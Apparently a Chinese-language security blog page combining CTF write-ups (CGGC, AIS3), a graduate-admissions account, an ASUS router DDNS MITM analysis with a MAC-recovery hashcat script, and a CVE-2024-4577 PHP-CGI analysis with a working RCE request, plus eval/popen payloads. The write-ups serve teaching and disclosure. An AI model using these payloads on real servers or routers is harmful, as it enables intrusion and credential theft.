2024 CGGC CTF Final Writeup

這次幫國網中心的CGGC 網路守護者挑戰賽出題,總共出了兩題 medium ,分別是 webConvertermisccat flag

Web

Converter

這是一個編碼的網站,可以編碼和解碼 base16 / base32 / base64 / base85 等不同網站
後端是使用 Flask 寫的,為了防止 SSTI ,在 render_template_string 之前我把一些地方 HTML encode

encodeinput 會被 HTML encode
decodeinputresult 都會被 HTML encode

1
2
3
4
5
6
7
return render_template_string(
RESULT_TEMPLATE.format(
input_data=data, # 皆會被 HTMLencode
conversion_type=conversion_type,
action=action,
result=result # 只有 decode 時會被 HTMLencode
))

因此,想要 SSTI 就只剩下把東西拿去 encode 之後變成怪怪的東西了,那什麼狀況下 encode 會跑出怪怪的東西呢?其實去查一下四種編碼應該就可以很快發現 base85 的 index table 有可以利用的東西({}),但這樣其實還是不夠的,因為如果想要構造出 {}input 會需要傳入不存在的字元,偏偏 URL encoding 又只會解碼特定的 binary data

那怎麼辦呢,其實在 encoding 的時候還有第二個可控的地方,那就是 Accept-Charset

1
2
3
4
5
6
encoding = request.headers.get('Accept-Charset','utf-8')
for i in ['utf','ascii','latin','windows','cp']:
if i in encoding:
break
else:
return jsonify({"error": "Unsupported encoding"}), 400

後端會根據輸入的 charset 去將傳入的資料 encode (但是僅限比較常見系列的編碼)

1
2
elif conversion_type == "base85":
result = base64.b85encode(data.encode(encoding)).decode(encoding)

有了這兩個可控的地方,我們就可以找到幾種編碼方式,把不存在的編碼變成存在的字元當成輸入, fuzz 一下就可以找出有效的 payload
我這邊是使用 cp850 去想辦法構造出 {{config}} ,最後找到 qX%15rx%15▒Bà└│ 可以弄出 aaa{{config}}1

最終 payload

1
2
3
4
POST /api/convert HTTP/1.1
Accept-Charset: cp850

data=qX%15rx%15▒Bà└│&conversion_type=base85&action=encode

flag: CGGC{'ÞÑ┐Õ▒àÕ▒àÞÑ┐ÞÑ┐Þ©óެƵ£ì'.encode('cp850').decode('utf-8')}

後記

我看到超多人交的 flag 是把中間那坨拿去 decode 變成 CGGC{西居居西西踢誒服} ,然後發現不會過又改成 CGGC{CGGCCTF} / CGGC{cggcctf} 最後才交上面的,超級好笑我很抱歉抱歉ㄉ心

Misc

Cat Flag

這題是給使用者一個 powershell ,將 flag 寫在圖片裡面,透過 AES-CBC 加密後放在資料夾裡面(我會給密碼),參賽者要想辦法用 powershell 偷出 flag

未免也太簡單了對吧?所以我加了一些限制:

  1. 不能連網,對外連線通通 DROP
  2. 指令長度不能超過 512 個字元
  3. 輸出字元數量不能超過檔案本身大小
  4. 每個 instancer 只能輸入一行指令
  5. 每次重開 instancer 都會用不同密碼加密

所以,想要弄出 flag 只剩下一條路了,那就是 cat flag

但要怎麼輸出呢?大家馬上聯想到的應該都會是 Base64 ,但是其實 base64 會把資料變成大胖呆(原本8個一組的資料變成6個一組),所以比賽現場就會看到一堆人弄出來的圖片長這樣:

flag 咧?在下面被切掉了

我預期的解法有兩種:

  1. base64 切片抓下來,因為有給密碼了,所以可以透過第一組的明文使用第二組的密碼反向加密回去再和第二組的下半身合併成完整的圖片(這邊是 CBC 的 block cipher 所以要注意不要切爛了會有 padding 的問題)
  2. 因為是限制 char 所以可以想辦法把每個 byte 轉成自訂的寬字節就可以一次輸出整個檔案了,但是他又有限制指令只能 512 char ,所以可以找一下有沒有什麼內建的編碼方式是可以涵蓋到大部分的組合,然後在自訂沒涵蓋到的編碼就可以了,我這邊是用一個古老的編碼 X-Europa 把檔案 print 出來

編碼:

1
$bytes = [System.IO.File]::ReadAllBytes("cat.flag");$compressedStream = New-Object System.IO.MemoryStream;$result="";$encoding=[System.Text.Encoding]::GetEncoding("x-europa");ForEach ($byte in $bytes){if ($byte -eq 0){$result+="嗨"}elseif($byte -eq 127){$result+="哈"}else{$result+=$encoding.GetString($byte)}};$result

解碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

$encodedResult = $result

$encoding = [System.Text.Encoding]::GetEncoding("x-europa")

$decodedBytes = New-Object System.Collections.Generic.List[byte]

$i = 0
while ($i -lt $encodedResult.Length) {
if ($encodedResult.Substring($i, 1) -eq "嗨") {
$decodedBytes.Add(0)
$i += 1
}
elseif ($encodedResult.Substring($i, 1) -eq "哈") {
$decodedBytes.Add(127)
$i += 1
}
else {
$char = $encodedResult.Substring($i, 1)
$byte = $encoding.GetBytes($char)[0]
$decodedBytes.Add($byte)
$i += 1
}
}
[System.IO.File]::WriteAllBytes("flag.enc",$decodedBytes)
openssl enc -d -aes-256-cbc -pbkdf2 -in flag.enc -out flag.jpg -k $password

弄出來的資料大概會長這樣:

1
Salted__◀¶8ήρêWΒ▲À§§Τ║ΞÓCΖ↕É3$Ôoο│Ϋ*á‼αύ,{┘ÇÕyPUΪχZ\æUΰal!ë;ΞΈ>♬΄8nÆsÂΰηUv0Z·HO¡λg◘│.~┘ώ↕òΥbQ▼ΖΉPÜΎüκχ┘ΎÄ:q─É└xνϊî/'ηΊ5ίïΐ?èΘQν>γ0b*kςO6Dv└║Aïί&t◙ºω$↕°δ΄§ΥäΤnΆ1ö♂CοJ▼♪;βJΥΧ(ä.óhώ═2ÅE%δÕ◙◙╝G^Ό!ψ♂M○J╚¿9ºYΥΠΟÍ\○TAlérνyΦβ*Äλz¡'Ξίê→ÍìΦöίς║7Ñ+_☼/v/Θàξ4GΣLάæS♬6+FρθΕÑRôsÓτδ/┘YØàÅ¿Νό Bωy→Ήχ4e"χÅηαH哈θόψώvu8cçãvßή═PqΏ-‼ΗÂ─ϊΉ│↕τUEÊ║Ά9ώΗέΘDèe&哈ÖÍιwφή◙pάεΕé"╚ËP)9◙╝嗨áω▼0↓哈▲ί→SΔεTSòk£όÕΜÄΡ^┐L%♂oοÑΥüμñΤηòύΡút^ÀΓVRεδ↑ξΰ)Ü○═eN│Ú$b+$°ϊ3ö▲Σçν┐IN♂õΨΈ7z←[:)éÁ8♪◙ºöQMΰν┘QsσΉ♪↑IρΜYΊº°üï·jr↓S'ε‼ηζς¡4اΈΟÅ-╝τÚσBΗ?BΙ/x←+Äa♬`g/ϋΟΤëK║]Êãω←ΏÀ£_¡αóÂΰÍ^α└zϋp╔Nï·øáâ2ΘËΌΛÀLL%tÕÓDλmI◘ΦÊ↑ξK-^ë+,\γÄrßP─óÊhη"4♂♬ί:ρ"Iã6jÑΔΌª┌§/[O]αüöΔÂ╚┐:0õ1♂ύBθοÀÑBghϋRsºÀ哈F"▼◘îΜaί;q╔ΞώΧΡBÚ┌·F7哈ύφ哈 μø<À΄)ªö─¿ÁΧτ╔ΦhρMnζΡØz◘cªÆΥêΕ"à_FΣ]Τοπ.Λr♬┌ØΓ#♂έ║Xá¶Ή↔ÂΒώ8/fSV@υÍÕfΓ3ζΚE·όϊ1ãA+|'ËÑς↓hO┘h╚a"|ïâ9Ά!èàdÉg═xΙóæeΪñήR#<ñ4'4õUΈά→Ξα◘ù,äέ;?H│},π7aΒ◀η║χΏ\x◙e1ώÂÂ@Vΐx‼6ΛÅzφ&ύÉâ○όeΑι<─@¶ΐΊu+°ΟªεΝΞΑΙd=7öÅ═+ßÁ\îΙ|嗨f£ΛñùΨßWÂ=΄*·eO,΄άω@XΨC,ìñu΄t JÄ▲dîîóîωI.ρѶæuùÍπGôΡαjìΗù↑õ=ώûΑêηTæ{ÍNVroKüΆώg<euÂΠα`ήξ↓Αkό♬+§ÔόxW▲Ά*ζΘΧΰãΌ╗Læ+ ┐ρü0΄mlϊ4┌Ι]υêαφb¿Οό│]:\ìιΛ y¶άΜ(HúÅY§◘#ÃΕφàS嗨Æù↓Ëê9Gώæ.▼NΖJχ╚Pαè┐@Á(£nÂeìº↓maq§Ν0nØûEÚÕh哈kDGaíυ↔ó@SmabΰκTL‼/Ξy`♀sΠ{mΉKENeΒΏκΥΆ<Γ¶!▶@╗┌MÀϋVv¿$i↕Í↑aUEΈx◀^οΌûP╚◀àMϊk@▲£çèAÄvzÆNæÇέλ9ω▲xt嗨ª└ΓnîAθάï#Ηè↕à |y╚έãΤόGjρt·ρø↓r↑Éκtåς1y=É♀1A΄ω=╝┐ΞΠN0éïζΜ◘π|F╔óüα╗ΈôΊ↑υZξΞ_3Ñ♀ξöΟæºψζΜ╚Ãææΰωå♀λΗÆ5nτ♪è5°¡ΨºvΪGΛΜώΒΣ1öΝq╝öôοψW4èaσΝDΤÓs┘o╔=│¶ÉΌ♂ϋcëάbάΔÍbνü┐Ι&ΥTEυBΉϋ↔8ιîΡ═Í!ΆΔΌ+¶2öτ◙zΧΕ[<→,ΆòcÄj-Óf£7Q▶N)ΗΜ>92kκêΫ`↔tφβ┘JwìÇ^ÅX|Τ7~3ê4└Ϋz£ÅκysΏ Y▼ΞôuË\UΜOÄοΉIoíΖB/ZΦΙΝVqwFAXΣ|:╝?έ╝iBV$ΧΫαYn΄a↔ΙBÂ-$Ά▼ι═Mεμλ¶ Ψóύá┌νÓÔ┘▲0σ←R¶εFWω↑sψ?.â#δ§ί┌ΓΉay£%]ΣÁUΟtÖUζνξ/ÔyöC☼╚M▼=;Ι"8─ÄUÖÑΫãΐ>δ4ξή:ΣβºόΛΒ~║O↓Lΐύw"χ♂-↓ÚnèωrÅí◘ΜÚíVtΰ(ΓZPΚiê9FήΟ°r─σ◀ί♬?¿ΓόhXEΈ,υm;

後記

這題是用 @chummy 的 CTF Instancer 架的,會依序動態開 100 個 port給大家連 instancer ,結果有某海狗直接狂戳 port 幫大家把 instancer 都關起來(我完全沒想到可以這樣玩QQ)

後來臨時加了驗證 CTFd Token 的機制,感謝賽博水電工 Chummy 現場幫 instancer 加新功能,然後兩個人在那邊寫爛扣

跨科系推甄四大資安所推甄心得

因為網路上資安相關研究所推甄的心得本來就很少,所以寫這篇文給想要跨科系推甄或是有跟我一樣奇怪狀況的人參考。但是還是建議真的有和我一樣狀況的人還是要準備一下考試,不然有機會+365,畢竟不是所有學校都那麼看課外表現。

推甄系所與結果

校系 成績 結果
台大電機資安所 67 落榜
交大資安甲 78.67 備28
清大資安所 書審 88.67 / 口試 91.67 正取
成大電機資安學程 書審 80.34 / 口試 84.34 備6

台大直接落榜、交大備到天邊,其實都和我預期的蠻符合,畢竟我的成績就是一坨💩,讀的科系甚至和電資差了十萬八千里,要靠經歷推上還是有點難度。

個人背景

學歷

國立成功大學 交通管理科學系 78.78 %

資安相關課程

  • 成大計網中心 關鍵基礎設施資安學程
  • 2023 AIS3
  • 臺灣好厲駭第八屆高階培訓、第九屆導師培訓制度
  • 台南市資安攻防演練

校內資訊相關課程

開課單位 課程名稱 成績
資訊系 程式設計(一) 94 A+
資訊系 資訊安全 修課中
資訊系 人工智慧導論 75 B
交管系 計算機概論 91 A+
交管系 計算機程式 95 A+
交管系 通訊網路 91 A+
通識 py出跨域首部曲 Python 97 A+

專題

V2X車聯網的攻擊復現與入侵偵測平台

社群參與

  • NCKU GDSC 資安組組長
  • 成大資安社、B33F 50UP 牛肉湯戰隊共同創辦人
  • TSCCTF 第一、二屆行政組組長
  • 2024 DEVCORE Conference 會眾
  • 2024 HITCON 會眾

教學經歷

  • 2024 AIS3 TA
  • 2024 AIS3 Junior TA
  • 計算機程式 TA
  • 網路安全實務與社會實踐 TA

其他資安經歷

  • 113年度行政院國家網路攻防演練 攻擊手
  • AIS3 Pre-Exam & MyFirstCTF 出題者
  • 資訊安全 期末工控CTF 出題者

競賽成績

  • 2023 神盾盃 CTF - Qual 5th / Final 9th
  • 2023 T貓盃 CTF - Qual 2nd / Final 7th
  • 2023 CGGC CTF - Qual 3rd / Final 5th
  • 2024 AIS3 EOF CTF - Final 7th
  • 2024 picoCTF - 29th / 6957
  • 第54屆全國技能競賽南區賽 網路安全職類 - 銅牌
  • 第54屆全國技能競賽全國賽 網路安全職類 - 第四名
  • 2024 HITCON Cyber Range 學生場 - 第二名

實習

  • DEVCORE Red Team Intern
  • 資策會資安所 工控資安實習

書審準備

基本上各校需要繳交的東西都大同小異
自傳、讀書計劃、推薦函兩封、歷年成績單

但是交大很搞他要填一個超大坨的表格,會問你修過的課、成績、競賽、專題等,然後競賽專題全部都要填貢獻度請指導老師簽名,建議可以提早開始準備
然後台大會需要填一排修課的成績,什麼計組、資結的修課分數然後我全部都沒修過空一排

自傳

我是把自傳弄成類似經歷的形式,避免一大坨小作文,根本沒人想看
自傳大綱大概長這樣,然後再根據各校要求做微調:

  1. 個人簡歷
  2. 自我介紹
  3. 修課紀錄
  4. 資安相關經歷
  5. 課外活動參與
  6. 曾參與之研究

研究計劃書

研究計劃書我其實沒有很認真寫,就寫一些未來想研究的 research proposal ,我是寫Web Security、IoT Security、AI 在資安領域的應用三個,以及近程中程遠程的計劃,一頁之內搞定。

其他有利審查資料

就放獎狀、證書吧!

推薦信

推薦信一封我找了之前一起做專案的教授幫忙寫推薦信,另一封請 AIS3 交大的老師幫忙寫,都是要先擬草稿給老師,寫自己的推薦信感覺很臭屁但是還是要盡量把自己做過的事情寫上去,盡量具體一點不要那種很空洞的形容,真的非常感謝兩位願意幫我寫推薦信的教授。

補充一下其實可以找專題教授幫忙寫應該會蠻有幫助的,但我想說已經找到兩位教授了就沒有請第三位教授幫我寫,後來才發現其他人推薦信都五封寫好寫滿

面試準備

面試只有成大、清大兩間,基本上沒什麼準備,就上網爬一下文看過去幾年都問了什麼,然後把自己的專題記熟。

成大

因為是主場,結果就大意了,去面試的時候什麼都沒帶,和 Kazma 吃麥當勞吃到一半他突然問說誒啊你有帶那個成績單什麼的嗎?然後我才發現我什麼都沒帶,緊急去 7-11 印了一份一頁的英文簡歷,然後發現成績單有加密 ibon 印不出來,爛成大

進去有三關,一關的時間是三分鐘

第一關:蔡邦維教授

Q: 給一隻白板筆,問如果今天實驗室想要架網路,你的架構會長怎樣?可以自己加網路設備或防護設備
A: 鬼畫一通大概長這樣:

第二關:李忠憲教授

Q: 請先自我介紹
A: 大概講一下最開始怎麼接觸CTF的、比過哪些賽、AIS3助教和DEVCORE的實習

Q: DEVCORE紅隊演練是在幹嘛的?
A: 針對企業的網段嘗試入侵、橫向移動、提權、持久化控制,嘗試找出系統的弱點

Q: 有想要考證照嗎?
A: 有想,但是證照目前對我來說太貴了,應該會未來進公司或實驗室有補助再去考

Q: 你覺得攻擊比較難還是防守?
A: 當然是防守,攻擊只要找到系統的一個最脆弱的地方就可以滲透進去,但是防守卻是要全方位的把所有弱點都補好才可以。

Q: 你怎麼看資安倫理?
A: 我比較不敢去亂搞人家的東西,所以所有攻擊都是在對方允許的狀況,或是自己架的環境進行
Q: 什麼狀況別人會允許你去打他
A: 像紅隊演練就是很經典的例子,企業請你去滲透他的內網看看有沒有什麼問題,然後還有今年參加過行政院的資安攻防演練,就是去打打看政府的網站有沒有什麼漏洞。

這題回答得亂七八糟,因為完全沒料到會問這麼道德層面的問題,回答得好像也不是老師想問的

第三關:劉亦賢教授

這關老師有準備兩張紙,一張是C++的程式碼,另一張上面有四個問題

  1. CIA Triad
  2. ISO 27001IEC 62443(後面那個有點忘記是這個還是ISO 27701
  3. WAF
  4. IDS/IPS/NIDS/HIDS

Q: 講一個讓我能對你刮目相看的經歷
A: 回答基本上跟上一關的自我介紹差不多

Q: 你是 Com…Communication Management 這是什麼系?電..電信管理還是什麼?(因為我的履歷是英文的所以老師不知道我讀什麼系)
A: 額…交…交通管理系,不是電資相關的科系
教授:喔喔沒關係沒關係。

Q: 你從這四題裡面挑一題回答
A: 我回答第四個
Intrusion Detection System,透過payload pattern 或其他偵測方法偵測惡意流量
HIDS 是 Host-Based 的 IDS 通常部署在電腦裡面,偵測系統事件,有沒有調用一些可疑的 API Sequence 之類的
NIDS Network-Based ,放在網路架構中,可能透過 switch 的 Mirror port 對網路流量做分析,可以是分散式的
IPS 是 Intrusion Prevension System ,相較於 IDS 不只會偵測惡意流量還會把可疑的流量直接 ban 掉
之前有在自己的 PVE 環境中架過類似的東西(開源的SIEM
教授:你知道 SIEMIDSIPS 不一樣嗎
知…知道…

Q: 你覺得這段程式碼(C++)可能會有什麼問題(程式碼大概就是有定義一個 structure 然後下面print出一堆 %lld
A: (看了一分鐘)額…因為我比較走 Web 領域所以 binary 比較不熟

我那個時候想說這個程式連個 input 都沒有要怎麼打,到現在還是不知道問題是在哪QQ

清大

清大面試五分鐘,其中有三分鐘是自我介紹、兩分鐘教授提問,面試會有三個教授坐在對面

Q: 你還有報哪些研究所?
A: 因為未來基本確定要走資安,所以報的都是資安相關研究所,目前是報台清交成的資安研究所

Q: 我看你實務上的經驗已經很夠了,但是研究所主要是做研究的,你有什麼研究成果嗎?
A: 之前有和資工系教授合作做 SSDLC 相關案例的研究,專題也是做資安相關的研究,做車路聯網相關的攻擊復現和檢測,未來會比較想研究 Web Security 或 IoT 相關的漏洞研究

清大面超快做兩個小時的車來三分鐘就面完了,感謝潘茗脩及門及地機車接送,然後半路遇到大正百寶能、被早午餐店坑,新竹風真的超級大

後記

感謝一路上幫助我的人們,牛肉湯的大家、幫我寫推薦信的老師們,等結果的兩個禮拜每天都不用睡等到精神耗弱快中風,做夢都會夢到推甄的東西,還好最後還是有學校唸,我愛大家

One Million ASUS Routers Under Control: Exploiting ASUS DDNS to MITM Admin Credentials

ASUS Router APP 如何在外網連回家

若有開啟DDNS設定,路由器的domain是a+md5(MAC Address).asuscomm.com,手機透過DDNS查詢IP後,再從8443 port連回去。

漏洞

domain name 由MAC Address產生

Domain name = a + md5(MAC Address) + .asuscomm.com
因此,只要知道 router 的 MAC Address,變可以透過網址存取路由器後台。

更新DDNS時未驗證PIN碼

ASUS在update IP address的時候並沒有驗證router的PIN碼是否正確,所以任何人都可以隨意更改domain指向的ip

帳密裸奔,僅使用base64編碼變傳送

ASUS Router 手機 APP 在驗證後台帳號密碼時,直接將帳號密碼 Base64 encode 過後,以 GET 的方式傳給 Router 。

組合計

攻擊者可透過上面三個漏洞達到完美的中間人攻擊,首先,攻擊者可透過網路上洩漏的 MAC Address 取得Domain Name,並且將該Domain指向自己的攻擊機,接著坐等使用者在外網用手機 APP 打開管理介面便可以得到使用者的帳號與密碼,再將帳號密碼傳回真正的IP達成中間人攻擊。

造成危害

攻擊者可透過後台帳號密碼開啟 ssh vpn等服務,摸進內網,或者是更改預設DNS Server,進行網路釣魚。

影響

研究發現全球有多超過100萬台路由器遭受影響,比較明顯的攻擊痕跡可由ddns解析的ip變動看出,或是多個路由器皆將Domain指向同一個ip。

後續研究

我後來針對ASUS Router的MAC Address、DDNS和BSSID研究了一下之後,發現了一些有趣的事情

MAC Address 和 BSSID 相同

因為手邊沒有太多華碩的路由器,觀察了大概三台路由器,發現MAC Address和BSSID不是完全相同就是差一碼

可由 DDNS 回推 MAC Address

前面研究有提到,預設 DDNS 是 A+md5(MAC Address),雖然窮舉 MAC Address 是不可能的,但是 MAC Address 前三個 bytes 是廠商識別碼,剩下要解決的就只有後三 bytes 了。

因此我寫了一個 script 可以在一分半之內由 hashcat 將DDNS的MAC Address還原(都4220年了竟然還有人在用md5)

1
2
3
4
5
6
7
8
import os
import sys
lst = ['00:1B:FC', '00:1E:8C', '00:1F:C6', '00:22:15', '00:24:8C', '00:26:18', '04:D9:F5', '08:60:6E', '08:62:66', '08:BF:B8', '0C:9D:92', '10:7B:44', '10:7C:61', '10:BF:48', '10:C3:7B', '14:DA:E9', '14:DD:A9', '24:4B:FE', '2C:4D:54', '2C:56:DC', '2C:FD:A1', '30:5A:3A', '30:85:A9', '34:97:F6', '38:2C:4A', '3C:7C:3F', '40:16:7E', '40:B0:76', '48:5B:39', '4C:ED:FB', '50:46:5D', '50:EB:F6', '60:45:CB', '70:4D:7B', '70:8B:CD', 'E8:9C:25', '74:D0:2B', '78:24:AF', '7C:10:C9', '88:D7:F6', '90:E6:BA', '9C:5C:8E', 'A0:36:BC', 'A8:5E:45', 'B0:6E:BF', 'BC:AE:C5', 'BC:EE:7B', 'D0:17:C2', 'D4:5D:64', 'E0:3F:49', 'E0:CB:4E', 'CC:28:AA', '60:CF:84', 'F0:79:59', 'F4:6D:04', 'FC:C2:33', '00:0C:6E', '00:0E:A6', '00:11:2F', '00:11:D8', '00:13:D4', '00:15:F2', '00:17:31', '00:18:F3', '00:1A:92', '00:1D:60', '00:23:54', '00:E0:18', '04:42:1A', '04:92:26', '04:D4:C4', '18:31:BF', '1C:87:2C', '1C:B7:2C', '20:CF:30', '38:D5:47', '54:04:A6', '54:A0:50', '58:11:22', '60:A4:4C', 'AC:22:0B', 'AC:9E:17', 'C8:60:00', 'C8:7F:54', 'D8:50:E6', 'F0:2F:74', 'F8:32:E4', 'FC:34:97']
target = sys.argv[1]
for i in lst:
if os.system(f"hashcat -m 0 -a 3 {target} {i.replace(":","")}\?H\?H\?H\?H\?H\?H")==0:
os.system(f"hashcat -m 0 {target} --show")
break

BSSID可以用來定位Router的真實位置

當 iPhone 把 Wi-Fi 關閉時,會提示定位精度會下降,因為蘋果會記錄附近router的位置,然後再用來幫手機做更精確的定位,因此,我們有機會使用工具將 BSSID 轉換成實體的經緯度,甚至比GPS更準確。

組合技

當我們得知了一組ip,如果他使用了 ASUS 的 Router ,並且開啟了外網存取時,我們就可以透過這組 ip 取得 DDNS

然後再透過 DDNS 回推 BSSID

最後反查出座標


CVE-2024-4577 PHP CGI漏洞複現及研究

漏洞簡介

CVE-2024-4577是一個 PHP CGI 的參數注入漏洞,這個漏洞繞過了 CVE-2012-2311 的保護,透過 windows BEST-Fit 的特性,構造不存在的 urlencode 字元讓 Windows 解析出 - 字元,從而繞過 php cgi 的保護機制。

漏洞分析

要了解這個漏洞,我們需要先坐時光機回到最初的漏洞,也就是CVE-2012-2311更之前的 PHP 5.3.11

CVE-2012-1823

漏洞成因

首先,我們有一個先備知識要知道,那就是 http server 呼叫 CGI 時,會連同 request 的 query 一起當成參數傳給 CGI ,例如:我今天存取了 http://192.168.22.16/php-cgi/php-cgi.exe?foo 時,apache 啟動CGI 的 commandline 其實長這樣:

因此攻擊者只要構造出開頭為 - 的 querystring , CGI 就會把他當成參數解析,從而導致參數注入漏洞。

漏洞修補

針對 CVE-2012–1823 出現的漏洞,PHP在 5.3.12 將漏洞 patch 掉,方法是檢查 querystring 的開頭是不是 -

1
2
3
4
5
6
7
8
9
10
-	while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0)) != -1) {
+ if(query_string = getenv("QUERY_STRING")) {
+ decoded_query_string = strdup(query_string);
+ php_url_decode(decoded_query_string, strlen(decoded_query_string));
+ if(*decoded_query_string == '-' && strchr(query_string, '=') == NULL) {
+ skip_getopt = 1;
+ }
+ free(decoded_query_string);
+ }
+ while (!skip_getopt && (c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0)) != -1) {

CVE-2012-2311

漏洞成因

在 5.3.12 發佈後不到一個禮拜就被人 bypass 了,因為只要在-前面塞空格就好(?)

漏洞修補

PHP官方很快就發佈了 5.3.13 版本,這次他們先把前面的空白都變不見(pointer往後移),再檢查開頭是不是 -

1
2
3
4
5
6
for (p = decoded_query_string; *p &&  *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {
skip_getopt = 1;
}

CVE-2024-4577

時隔12年,這個保護機制又被繞掉了,但這次並不影響到全部的php版本,而是只有某些特定語系的 Windows 作業系統,且需要由 CGI 解析才會觸發。

漏洞成因

這個漏洞是因為在 Windows 上有 BEST-Fit 的特性,讓攻擊者在繁體中文等特定語系環境的 Windows 直接生出一個完全不存在的字元(0xad)卻可以被解析成 - ,當然,你也可以透過這份文件,找找看其他語系的 windows 有沒有可以 bypass 的字元。

如何利用

首先,我們可以來看看 PHP CGI 有哪些參數可以下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ php-cgi --help                                                                                                                                                                   ─╯
Usage: php-cgi [-q] [-h] [-s] [-v] [-i] [-f <file>]
php-cgi <file> [args...]
-a Run interactively
-b <address:port>|<port> Bind Path for external FASTCGI Server mode
-C Do not chdir to the script's directory
-c <path>|<file> Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value 'bar'
-e Generate extended information for debugger/profiler
-f <file> Parse <file>. Implies `-q'
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-q Quiet-mode. Suppress HTTP Header output.
-s Display colour syntax highlighted source.
-v Version number
-w Display source with stripped comments and whitespace.
-z <file> Load Zend extension <file>.
-T <count> Measure execution time of script repeated <count> times.

應該可以馬上發現, -d 參數非常有用,你可以把所有會妨礙你使用 LFI to RCE 的安全選項全部關掉,然後再用偽協議把髒髒的東西都寫進來

1
2
3
POST http://example.com/?-d%20allow_url_include%3Don%20-d%20auto_prepend%3Dphp%3A%2F%2Finput%2F%0A

<?php phpinfo() ?>

透過php://filter偽協議include惡意程式碼

2024 AIS3 pre-exam & MFCTF writeup

2024 AIS3 pre-exam writeup

這次幫 AIS3 pre-exam 和 MFCTF 出題,出了兩題:一題 web 和一題 misc (但其實兩題都是web)

evil calculator

This is a calculator written in Python. It’s a simple calculator, but some function in it is VERY EVIL!!
Connection info: http://chals1.ais3.org:5001
Author: TriangleSnake

這是一題很簡單的pyjail(?有jail嗎),主要問題出在 eval() function,但是有過濾 _space
因為是warmup題,預期解是用open()讀flag,不會用到_space

1
{"expression":"open('/flag','r').read()"}

當然,你也可以把 _space encode 後 rce

1
{"expression":"eval(eval('chr(95)')+eval('chr(95)')+'import'+eval('chr(95)')+eval('chr(95)')+\"('os').popen('').read()\")"}

AIS3{7RiANG13_5NAK3_I5_50_3Vi1}

emoji console

🔺🐍 😡 🅰️ 🆒 1️⃣Ⓜ️🅾️ 🚅☠️✉️ 🥫🫵 🔍🚩⁉️
Connection info: http://chals1.ais3.org:5000
Author: TriangleSnake

這題和資安沒什麼關係,純粹是拼字遊戲,可以隨便按幾個 emoji 後就可以發現他就是把你輸入的 emoji 轉成英文單字後變成一行指令

image

試幾次會發現一些常用的指令,像是 🐱->cat 、 💿->cd ,還有題目剛進去就提示的 🐍->python 和 ⭐->*

  1. 嘗試使用 cat 命令看目錄下面有什麼
    1
    🐱 ⭐
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
#!/usr/local/bin/python3

import os
from flask import Flask,send_file,request,redirect,jsonify,render_template
import json
import string
def translate(command:str)->str:
emoji_table = json.load(open('emoji.json','r',encoding='utf-8'))
for key in emoji_table:
if key in command:
command = command.replace(key,emoji_table[key])
return command.lower()

app = Flask(__name__)

@app.route('/')
def index():
return render_template('index.html')

@app.route('/api')
def api():
command = request.args.get('command')

if len(set(command).intersection(set(string.printable.replace(" ",''))))>0:
return jsonify({'command':command,'result':'Invalid command'})
command = translate(command)
result = os.popen(command+" 2>&1").read()
return jsonify({'command':command,'result':result})


if __name__ == '__main__':
app.run('0.0.0.0',5000)

{
"😀": ":D",
"😁": ":D",
"😂": ":')",
"🤣": "XD",
"😃": ":D",
"😄": ":D",
"😅": "':D",
"😆": "XD",
"😉": ";)",
"😊": ":)",
"😋": ":P",
"😎": "B)",
"😍": ":)",
"😘": ":*",
"😗": ":*",
"😙": ":*",
"😚": ":*",
"☺️": ":)",
"🙂": ":)",
"🤗": ":)",
"🤩": ":)",
"🤔": ":?",
"🤨": ":/",
"😐": ":|",
"😑": ":|",
"😶": ":|",
"🙄": ":/",
"😏": ":]",
"😣": ">:",
"😥": ":'(",
"😮": ":o",
"🤐": ":x",
"😯": ":o",
"😪": ":'(",
"😫": ">:(",
"😴": "Zzz",
"😌": ":)",
"😛": ":P",
"😜": ";P",
"😝": "XP",
"🤤": ":P",
"😒": ":/",
"😓": ";/",
"😔": ":(",
"😕": ":/",
"🙃": "(:",
"🤑": "$)",
"😲": ":O",
"☹️": ":(",
"🙁": ":(",
"😖": ">:(",
"😞": ":(",
"😟": ":(",
"😤": ">:(",
"😢": ":'(",
"😭": ":'(",
"😦": ":(",
"😧": ">:(",
"😨": ":O",
"😩": ">:(",
"🤯": ":O",
"😬": ":E",
"😰": ":(",
"😱": ":O",
"🥵": ">:(",
"🥶": ":(",
"😳": ":$",
"🤪": ":P",
"😵": "X(",
"🥴": ":P",
"😠": ">:(",
"😡": ">:(",
"🤬": "#$%&!",
"🤕": ":(",
"🤢": "X(",
"🤮": ":P",
"🤧": ":'(",
"😇": "O:)",
"🥳": ":D",
"🥺": ":'(",
"🤡": ":o)",
"🤠": "Y)",
"🤥": ":L",
"🤫": ":x",
"🤭": ":x",
"🐶": "dog",
"🐱": "cat",
"🐭": "mouse",
"🐹": "hamster",
"🐰": "rabbit",
"🦊": "fox",
